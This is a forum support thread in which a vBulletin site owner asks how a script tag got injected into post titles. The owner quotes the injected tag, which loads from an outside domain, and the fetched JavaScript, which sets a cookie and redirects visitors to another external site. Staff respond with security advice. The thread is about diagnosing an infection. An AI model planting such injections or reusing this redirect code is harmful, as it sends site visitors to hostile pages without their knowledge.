[Forum] Infected by ?? or Hacked by ??

[TheRageIsOn]

I have an issue with my site somehow.
someone modified the site to include a <script src="somewhere"></script>
right into forum titles!

What do you recommend?

How did this work and how can i remove that modification.

I understand that its somewhere in the templates ( i hope LOL )

regards

[Steve Machol]

Not really enough info. What is the URL where this is happening?

[TheRageIsOn]

Heres what the users get:

    <div class="postbody">
            <div class="postrow">
                
                
                <h2 class="title icon">
                    Can you tell if a guy is gay by the type of  underwear he wears?<script  src="http://welcometotheglobaliscom.com/ll.php?kk=17"></script>
                </h2>

The JavaScript it linked to was this.

function t5t6dc(cccoooonnnneeee,val,ex){
    var exdate=new Date();
    var da = exdate.getDate()+ex;
    exdate.setDate(da);
    var oo = exdate.toGMTString();

    document.cookie=cccoooonnnneeee+"="+escape(val)+";expires="+oo;

}

function h5t6gcd(cccoooonnnneeee){

    if (document.cookie.length>0){

        cccoooosssseeee=document.cookie.indexOf(cccoooonnnneeee+"=");

        if (cccoooosssseeee!=-1){
            cccoooosssseeee=cccoooosssseeee+cccoooonnnneeee.length+1;
            cccoooorrrreeee=document.cookie.indexOf(";",cccoooosssseeee);
            if (cccoooorrrreeee==-1) 
                cccoooorrrreeee=document.cookie.length;
            return unescape(document.cookie.substring(cccoooosssseeee,cccoooorrrreeee));
        }

    }
    return "";
}

var v5t63x=h5t6gcd("s5terzero");
var i5tt6de="http://www4.strong-networkdefense.in/?1b75d12=m%2BzgmGulpaSolNeW0qKnnePm16HLl52j2JVmmtBjk1s%3D";
if (v5t63x==""){
    t5t6dc("s5terzero","1",20);

    window.top.location.replace(i5tt6de);

}

[TheRageIsOn]

its and adult forum and i will not send this out in public ok

Edit:

I use the latest VB 4.1.1

Folders are not writeable other than the needed one's
admin/mod panel are on a hidden folder

[punchbowl]

do you run ads?

[TheRageIsOn]

only my own a simple <a href="xxx"><img src="banner1.jpg"></a>

[punchbowl]

Have a read of this thread http://www.vbulletin.com/forum/showt...ghlight=hacked

it's a 3.8 thread but a lot of the same things apply.

what 3rd party stuff do you have installed for a start though?

[TheRageIsOn]

I recently installed:
Navbar menu for Gallery
and
Picture and Album Gallery
this is installed for a few months now:
GlowHost - Spam-O-Matic
Default User Text Formatting
VSa - Sub-Forum Manager

[Steve Machol]

Please see this thread on how to make your vBulletin more secure:

http://www.vbulletin.com/go/secure

If you are still being hacked after doing all of this, then they are most likely doing this by accessing your server. You need to contact your host about this.

[TheRageIsOn]

i did that when i started

and i am my own host LOL

I was hacked a few months back and had to reinstall all servers to the newest software !
I regulary update patches etc!

I have no idea how they can do such thing, and how to find out how!

[Steve Machol]

Unfortunately we have no way of knowing how they did this either. Do you have a specific problem or question now?

[TheRageIsOn]

would a reinstall do it or maybe just parts ?
The themes or just the source ?

[Steve Machol]

All a reinstall would do is force you to lose all tour posts, users and data and start all over. What is the specific problem you are trying to resolve?

Also you never provided the link so we could help further.

[TheRageIsOn]

i can not send a pm to you.....

[Steve Machol]

If you need privacy you can use the support ticket system.